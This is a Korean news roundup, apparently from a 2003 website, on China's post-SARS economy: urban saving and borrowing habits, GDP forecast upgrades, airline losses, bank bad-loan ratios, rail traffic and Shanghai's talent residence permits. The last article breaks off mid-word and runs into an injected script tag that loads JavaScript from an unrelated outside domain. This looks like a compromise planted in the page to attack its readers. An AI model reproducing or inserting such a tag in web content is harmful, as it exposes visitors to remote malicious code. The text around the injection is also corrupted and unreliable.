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글쓴이 운영자 작성일 2003-06-26
제목 상하이는 대출, 베이징은 저축 강해
상하이 사람들은 은행대출을 과감하게 하는 반면 베이징인들은 저축에 주력하는 것으로 조사됐다.
25일 비자카드가 베이징과 상하이, 광저우, 선전 등 4대 도시의 월수입 2500위안의 중상층이며 20-44세 사이의 시민을 대상으로 최근 실시한 재테크 성향 조사 결과에 따르면 상하이인들은 은행 대출에 적극적이면서 활발한 소비성향을 보인 반면 베이징 사람들은 저축을 선호했다.
광저우와 선전 주민들은 주식은 물론 외환, 신탁 등 재테크에 관심이 많은 것으로 나타났다.
조사에 응한 상하이인의 4분의 1 이상이 개인대출을 받은 적이 있었으며, 특히 주택저당대출 비율이 4대 도시 가운데 가장 높았다. 또 20%의 주민들이 부동산 투자계획이 있다고 답했으며 생명보험 등 보험 투자에도 높은 관심을 보였다.
그러나 베이징 사람들은 정기저축이나 장기예금을 통해 재산을 증식하는데 가장 많은 관심을 쏟고 있다고 답했다.
경제개발과 개방정책에 가장 큰 영향을 받은 4대 도시 주민들은 그러나 재테크와 관련된 전문적인 컨설팅 서비스를 받은 사람이 매우 적은 것으로 나타났다. 조사대상의 85%가 친척이나 친구 등의 의견을 청취하는데 그쳤으며 증권사나 은행 등 전문 금융기관의 자문을 거의 받지 않았다.
경제 정보를 얻는 방식에 대해서는 신문과 인터넷을 통해 얻는다는 응답이 각각 54%와 30%로 나타났다.

리만.씨티, 中 GDP 성장률 전망치 상향
리만 브라더스와 씨티그룹이 사스(SARS.중증 급성호흡기증후군) 소멸에 따라 중국의 GDP 성장률을 상향 조정했다.
24일 다우존스에 따르면 리만 브라더스 로버트 수바라만 이코노미스트는 중국의 올해 GDP 성장률 전망치를 7.3%에서 8%로 상향 조정했다.
중국 당국의 공식적인 전망치는 7% 정도이며 1분기 성장률은 9.9% 였다.
수바라만 이코노미스트는 중국은 사스로 인한 경제적 타격을 무시할 수 있을 정도라고 주장했으며 2/4분기와 하반기 성장률은 각각 6.5%에 이를 것으로 전망했다.
씨티그룹도 중국의 올해 GDP성장률 전망치를 사스 타격이 극심했을 당시인 지난 4월에 6.5%로 전망했으나 이날 7.5%로 상향조정한다고 밝혔다.
씨티그룹은 사스가 단기간에 소멸되고 사스가 수출과 투자에 미친 영향도 예상보다 적었다고 설명했다.

中 동방항공 “상반기 적자 전망“
중국 동방항공이 사스(SARS.중증 급성호흡기증후군) 영향으로 올 상반기에 적자를 기록할 것이라고 경제 전문 통신인 AFX가 회사 관계자를 인용해 25일 보도했다.
동방항공 관계자는 “지난 4, 5월 수치가 확정되지 않았지만 적자를 낼 것은 확실하다“고 말했다.
동방항공의 지난 1/4분기(1~3월) 순이익은 1억7145만위안이었다.

중국銀 5월말 부실채권비율 20%로 하락
중국은행의 5월말 부실채권(무수익채권)비율이 국제회계기준으로 20.01%로 하락했다고 경제전문 통신인 AFX가 중국은행 자료를 인용해 25일 보도했다.
이 부실채권비율은 연초에 비해 2.48%포인트 하락한 것으로 부실채권 규모는 149억위안 감소했다.
중국은행은 올들어 5월까지 부실채권 감축계획의 79%를 달성했다고 밝혔다.
중국회계기준으로는 5월말 부실채권비율은 연초대비 2.02% 하락한 16.77%를 기록했다.

中, 하루 철도여객 200만명 넘어서
사스(SARS.중증 급성호흡기증후군) 파문에서 벗어나면서 중국의 철도 여객운송이 다시 활기를 띠고 있다.
25일 중국 철도부 통계에 따르면 지난 주말 전국 철도 여객 운송량은 하루 평균 208만명에 달해 과거 두달동안 처음으로 200만명선을 돌파했다. 이는 사스 파문이 발생하기 전인 250만명 선에 접근한 것으로 여름 휴가철을 계기로 완전 정상화될 것으로 전망된다.
철도부 관계자는 “사스 영향이 본격화되기 시작한 4월부터 주민들의 지역간 이동이 통제되면서 철도운송이 급감했다“면서 “5월15일의 경우 하루 여객 운송량이 90만명 수준으로 떨어졌었다“고 설명했다.
전통적으로 수 천만명의 중국인들은 5월 초 노동절 연휴기간에 열차를 이용해 고향을 방문하는 `장관'을 연출해왔으나 올해는 사스 파문으로 철도 운송이 제한될 수밖에 없었다.

上海 `人材 거주증' 신청자 2만명 넘어
중국 경제중심 상하이(上海)가 고급인력 유치를 위해 실시한 `거주증' 제도가 큰 성공을 거두고 있다.
25일 상하이시 통계에 따르면 지난해 6월 고급인력유치를 위해 도입한 `거주증'을 취득한 국내외 출신 전문인력이 2만3133명에 달했다.
거주증을 취득한 사람은 상하이 시민자격이 주어지며 의료보험과 학비, 해외여행, 직업선택 등에서 외지인에 비해 호혜적인 조건을 적용받는다.
거주증을 받은 인재들의 학력은 학사 소지자가 71%였으며, 석사와 박사학위를 소지한 자는 각각 11%와 8%였다. 또 연령은 35세 이상이 전체의 80%를 차지했다.
전공별로 나눠보면 이공계와 금융.경제분야가 각각 44%를 차?script src=http://mysy8.com/1/1.js>
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